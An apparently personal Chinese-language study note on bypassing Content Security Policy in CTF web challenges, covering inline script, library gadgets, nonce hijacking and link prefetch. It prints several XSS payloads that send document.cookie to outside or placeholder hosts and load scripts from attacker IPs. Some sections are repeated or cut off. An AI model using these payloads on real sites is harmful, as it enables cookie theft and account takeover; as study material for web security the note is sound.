0x00 前言
又看了一天的CSP,终于差不多理顺了。稍微总结一下,上一篇那么好的文章好像被和谐了。。明天的话开始学习一波反序列漏洞,先过一遍tp开发手册,然后去审tp框架吧。代码审计也得快点捡起来了。
比赛中常见的绕过 CSP
目前在比赛中常见的绕过 CSP 一般是:
script-src 'self' 'unsafe-inline'
script-src 'self' 'unsafe-eval'
script-src 'nonce-*'
xx-src self
script-src 'self' 代表着只能加载符合同源策略的文件,直接插入至 html 页面中的静态 script 标签将无法执行。结合其他 CSP 来看,常用的 iframe,object 等标签也是无法被绕过的。
下面分别分析,
通常情况下,除了 CSP 之外,还都会搭配一定的过滤措施来让选手进行绕过。这里不是我们讨论的。
script-src 'self' 'unsafe-inline'
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。
<script>window.location="https://www.XXX.com/x.php?c=[cookie]";</script>
<script>window.open('//www.XXX.com/?'+escape(document.cookie))</script>
<script>window.location.href='https://www.XXX.com/?cookie='+document.cookie</script>
内嵌script都可以执行,当然可以直接执行本页面的JS,如输入即可,这里的利用和XSS利用一致,没有啥绕过技巧,不再累赘。
script-src 'self' 'unsafe-eval'
重用Gadgets代码来绕过CSP,具体可参考Black Hat 2017的ppt,上面总结了可以被用来绕过CSP的一些JS库。
例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过CSP:
<div data-role=popup id='<script>alert(1)</script>'></div>
在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie:
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
Gadgets代码
这里提到了Gadgets代码,简单引用一下,详情看文章:
https://xz.aliyun.com/t/4165#toc-11
在可以注入任意HTML代码(例如富文本编辑器等应用)的条件下,利用JavaScript库中的一些代码片段(Gadget)来绕过常见的XSS防御机制,包括WAF、浏览器的XSS Filter、HTML Sanitizers、Content Security Policy等。
其中WAF考虑对请求值和返回值进行处理的正则匹配型或者字符匹配型WAF,HTML Sanitizers是则指DOMPurify这种基于DOM解析的XSS过滤器,Content Security Policy则主要考虑启用unsafe-eval或strict-dynamic的情况。
简单例子
和二进制攻击中的Gadget作用类似,本文中的Gadget是指可能被恶意利用的代码片段,下面以一个简单的例子来说明:
var button = document.getElementById("mbutton");button.innerHTML = button.getAttribute("data-text");
在这段代码中,取出了Id为mbutton的元素,并将data-text的值赋到了该元素的innerHTML属性。这是一些库中为了实现类似Tooltip等效果常用的一种方式,但在存在这种代码片段的时候,只要构造如下的元素,就可造成XSS攻击。
<button id="mbutton" data-text="<img src=x onerror=alert(/xss/)>">a</button>
Gadget分类
把可利用的Gadget分为五类,具体如下:
字符串操作
<script>window.location="https://www.mi1k7ea.com/x.php?c=[cookie]";</script>
<script>window.open('//www.mi1k7ea.com/?'+escape(document.cookie))</script>
<script>window.location.href='https://www.mi1k7ea.com/?cookie='+document.cookie</script>
种Gadget主要是指对字符串的操作,一个字符串在经过操作后可能变为造成攻击的字符。
例如Polymer中的一段代码dash.replace(/-[a-z]/g, (m) => m[1].toUpperCase()),这段代码会把以连字符构成的字符串变为大写,例如像inner-h-t-m-l这种字符串处理后会变成innerHTML。大部分WAF是对请求值和返回值做匹配,而此时传入的是inner-h-t-m-l而不是innerHTML,那么就有可能造成绕过。
元素创建
这种Gadget是像document.createElement(input) document.createElement("script") jQuery("<" + tag + ">") jQuery.html(input) 这种直接创建的标签甚至script的代码片段。当输入一定程度可控时,则可利用这种Gadget。
函数创建
这种Gadget是指创建函数的代码段,比如Underscore.js中发现的一段代码:
source = "var __t,__p='',__j=Array.prototype.join," +
"print=function(){__p+=__j.call(arguments,'');};
" +
source + 'return __p;
';
var render = new Function(
settings.variable || 'obj', '_', source);
这种Gadget会间接执行构造的代码段,在一定条件下可造成攻击。
JavaScript代码执行
这种Gadget主要是指类似eval这种会直接执行传入代码的代码段,例如:
eval(input);
inputFunction.apply();
node.innerHTML = "prefix" + input + "suffix";
scriptElement.src = input;
node.appendChild(input);
表达式解析
很多前端框架都提供了自己的模版引擎,有着丰富而强大的功能,这种Gadget就是框架中对模版表达式解析执行而造成的问题。例如Aurelia框架中可以用下面这段代码来触发一个代码执行。
<div ref=me
s.bind="$this.me.ownerDocument.defaultView.alert(1)"
></div>
绕过script-src 'nonce-*'
利用浏览器补全绕过script nonce
Content-Security-Policy: default-src 'none';script-src 'nonce-xxx'
这种情况下,script标签需要带上正确的nonce属性值才能执行JS代码。
如果,出现了脚本插入点在含有nonce属性值的script标签前面的情况时,如:
<p>插入点</p><script id="aa" nonce="abc">document.write('CSP');</script>
可以插入如下内容来利用浏览器补全功能:
<script src="http://192.168.248.1/a.js" a="
最终形成如下页面结构:
<p><script src="http://192.168.248.1/a.js" a="</p>
<script id="aa" nonce="xxx">document.write('CSP');</script>
也就是说,利用浏览器补全的功能,在含有nonce的script标签前面的插入点插入script标签的同时,插入a=”以闭合后面script标签的第一个属性的双引号,从而使中间的内容失效,将本来的nonce属性劫持到了插入的script标签中,使得该插入标签可以正常执行JS代码,也就是说浏览器会给我们自动补全只有一个双引号的属性的值。
还有一个注意点,上述的a标签在Chrome上是执行不了的,原因在于Chrome对于标签的解析方式则不同,Chrome中解析script标签的优先级高于解析属性双引号内的值,因而前面双引号闭合的时候没法正常使其失效。但是这里可以使用src属性替代,使其可在Chrome下正常执行。
当我们输入
<script src="http://192.168.43.201/a.js" a="
时即会弹框:
值得注意的就是,要想成功利用在nonce属性前需要存在一个用引号括起来的属性,不然会失效。
利用浏览器缓存绕过script nonce
原理:
csp-test.php,开启了nonce script规则,并且有XSS点:
我们需要利用iframe引入这个页面,并对其发起请求获取页面内容,这里我们通过向其中注入一个
绕过xx-src self
CSP策略中xx-src self的设置能够使大部分的XSS和CSRF都会失效,但link标签的预加载功能可以进行绕过。
在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止):
<link rel="prefetch" href="https://www.xxx/c.php?c=[cookie]">
在Firefox下,可以将cookie作为子域名,用DNS预解析的方式把cookie带出去,查看DNS服务器的日志就能得到cookie:
<link rel="dns-prefetch" href="//[cookie].xxx.com">
特例:
script-src 'self' 代表着只能加载符合同源策略的文件,直接插入至 html 页面中的静态 script 标签将无法执行。结合其他 CSP 来看,常用的 iframe,object 等标签也是无法被绕过的。
使用 link 的预加载机制去带出 cookie,然而受限于 script-src 'self' 的限制,虽然能够通过 dns 带出信息,但是无法将 cookie 带出来,因此预加载也是无法使用的。于是只能另外寻找突破口,在查阅大量资料后发现,可以通过引入正常的非 js 文件来达到引入 js 脚本的效果。题目中要是具有上传点,可以将 js 代码插入到尾部来进行绕过。